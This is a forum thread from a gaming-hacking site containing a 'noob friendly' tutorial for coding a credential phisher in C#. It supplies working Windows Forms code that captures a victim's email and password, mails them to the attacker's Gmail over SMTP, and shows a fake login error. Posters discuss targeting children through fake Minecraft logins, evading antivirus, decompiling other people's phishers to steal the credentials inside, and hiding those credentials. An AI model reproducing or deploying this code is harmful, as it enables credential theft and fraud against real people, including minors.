Post: How to code a Phisher C# (NOOB FRIENDLY)
07-29-2014, 06:53 PM #1
Joshua.avacado
Do a barrel roll!
(adsbygoogle = window.adsbygoogle || []).push({});
Things you will need
-Gmail (new one because you need to put your password in the coding.)
-Idea of your program
-Visual Studio or any other program u can code c#




What is a phisher?
"Phishing is the attempt to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication."

In other words. the program will have text boxes. The info they put in those boxes will be sent to your email. So if i made a program that says "login for op" they put there info press login and there info is sent to me.

Best thing about it is that it isnt seen has a virus so you can put it on virus scan or anything C:


For this tut i will be making a program for E-whore

First your going to want to open Windows Form Application
You must login or register to view this content.
THEN ON THE TOP THERE WILL BE A BE A BUTTON THAT SAYS VIEW. PRESS IT THEN THERE WILL BE ANOTHER BUTTON THAT SAYS OTHER WINDOWS, HOVER OVER IT. THEN CLICK PROPERTIES WINDOW

Now where going to add some TEXTboxes. Add 2 TEXTboxes and 2 labels WHICH CAN BE FOUND IN THE TOOLBOX Rename the labels to E-Mail and Password and rename the Button to Login.
You must login or register to view this content.
Now where going to click on the first Email Textbox and on the property window scroll all the way up to (name) :Textbox1. Change the name to textEmail
You must login or register to view this content.
Now Press on the Password textbox and do the same thing but name it textPass And Then will be a a box that says UseSystemPasswordChar:False Change it to True
You must login or register to view this content.
Now click on the actual Program And scroll all the way up till your see a box that says AcceptButton:(none) click on it and put Button1
You must login or register to view this content.
After that you can do what ever u want add a logo background colors bla bla bla.



Now the coding. Double click on the button. you will have this
     using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)
{

}
}
}


Add these codes to the top
    using System.Net.Mail;
using System.Net;
using System.Web;
using System.Threading.Tasks;

Should look like this now
    using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net.Mail;
using System.Net;
using System.Web;
using System.Threading.Tasks;

namespace WindowsFormsApplication2
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

private void button1_Click(object sender, EventArgs e)
{

}
}
}

Now your going to want to copy and paste this code between the { and }
    try
{
MailMessage msg = new MailMessage();
msg.From = new MailAddress("[email protected]", "Phisher");
msg.To.Add(new MailAddress("[email protected]"));
msg.Subject = "Phishing Data";
msg.Body = "Here is your data: " + textEmail + "'s password: " + textPass;
msg.IsBodyHtml = false;

SmtpClient setup = new SmtpClient("smtp.gmail.com", 587);
setup.Credentials = new System.Net.NetworkCredential("[email protected]", "Password");
setup.EnableSsl = true;
setup.Send(msg);

MessageBox.Show("Login Unsuccessful. Please check your network connectivity and try again.", "login Error", MessageBoxButtons.OK, MessageBoxIcon.Stop);
return;

}

catch
{
MessageBox.Show("Login Unsuccessful. Please check your network connectivity and try again.", "login Error", MessageBoxButtons.OK, MessageBoxIcon.Stop);
return;
}

Since my program is is ewhore and i want to make it look as legit as possible. Im going to put an error page when the program is opened to make them login in there email.
(dont have to) On the side there is a solution Explorer click on program.cs Should look like this
    using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;

namespace WindowsFormsApplication1
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());


}
}
}

Add
       MessageBox.Show("Login Unsuccessful. You must be logged in to Enter downloading.", "login Error", MessageBoxButtons.OK, MessageBoxIcon.Stop);

infront of " Application.EnableVisualStyles();"

Almost done. Now just change the [email][email protected][/email] to your actual gmail and change password to your actual gmail password. Then debug it, if it works on the top there is a button that says project. click on it and publish your program c:
Done... if you have any questions or need help just comment below. Please leave rep if i helped you at all.

This is mine You must login or register to view this content.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked Joshua.avacado for this useful post:

BISOON
07-29-2014, 07:06 PM #2
Pichu
RIP PICHU.
And in roughly 30 seconds I will have your Gmail Username + Password.

PM me if you need programming advice btw, I can give you my skype so we can go 1 on 1 if needed. You seem very interested in C# and I'll be here to help.

The following 2 users say thank you to Pichu for this useful post:

hotfix
07-29-2014, 07:10 PM #3
Joshua.avacado
Do a barrel roll!
i know programmers can take it but your not giving it to programmers. your ganna give it to old pedos or if u make a minecraft phisher u give it to kids. :l :P. and sure i would like that c:
07-29-2014, 10:07 PM #4
Pichu
RIP PICHU.
Originally posted by Joshua.avacado View Post
i know programmers can take it but your not giving it to programmers. your ganna give it to old pedos or if u make a minecraft phisher u give it to kids. :l :P. and sure i would like that c:


Tbh, sometimes I like going onto YouTube, downloading people's phisher programs and just opening up to get the Username/Password then changing it. They generally never use Try/Catch statements so their application crashes and people don't get scammed.

It's also an easy way for people to gain access to lots of accounts off the work of others because they don't use any sort of security.

If you're at least going to leave it vulnerable, use basic encryption methods such as ROT13. Don't ever leave it plaintext.
07-30-2014, 01:34 AM #5
Joshua.avacado
Do a barrel roll!
Originally posted by Pichu View Post
Tbh, sometimes I like going onto YouTube, downloading people's phisher programs and just opening up to get the Username/Password then changing it. They generally never use Try/Catch statements so their application crashes and people don't get scammed.

It's also an easy way for people to gain access to lots of accounts off the work of others because they don't use any sort of security.

If you're at least going to leave it vulnerable, use basic encryption methods such as ROT13. Don't ever leave it plaintext.


idk how to do those things im still a nub coder. Do u think u can help me
07-30-2014, 01:40 AM #6
Pichu
RIP PICHU.
Originally posted by Joshua.avacado View Post
idk how to do those things im still a nub coder. Do u think u can help me


You just use reflectors and you can view the source of an .exe made in C# or VB.NET easily.

For the basic hiding of your username/password in plaintext, all you can really do is something basic to discourage newbies.
07-30-2014, 02:06 AM #7
Pichu
RIP PICHU.
Originally posted by Joshua.avacado View Post
idk how to do those things im still a nub coder. Do u think u can help me


Quickly wrote this up. Basically using the same concept that forums use when storing passwords.

Forums when you register for a password, they store them using the Password + Salt then hash.

When you go to login, they use the Salt with your account and the password. If the hash you produce matches the stored hash, you gain access

Here is what I quickly wrote: You must login or register to view this content.

If you replace TextBox1.Text/TextBox2.Text for getting the string, you can generate your own hash from that and store it as the new Username/Password.

This is decent for a login form, even better when the hash isn't even stored in the application.

The idea for hiding your username/password can be similar. Instead of using Hashing, you'd use encryption functions. TrippleDes is one you can use.

The reason I chose hashing was it's simple to put together and shows you that you can take some measures to hide your info.

Wrote it quickly and I think I just produced some bad practices... My bad but it's a general concept.
07-30-2014, 07:47 PM #8
Joshua.avacado
Do a barrel roll!
how did u open my c# code?
07-30-2014, 10:53 PM #9
Pichu
RIP PICHU.
Originally posted by Joshua.avacado View Post
how did u open my c# code?


Like this

You must login or register to view this content.

The following user thanked Pichu for this useful post:

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo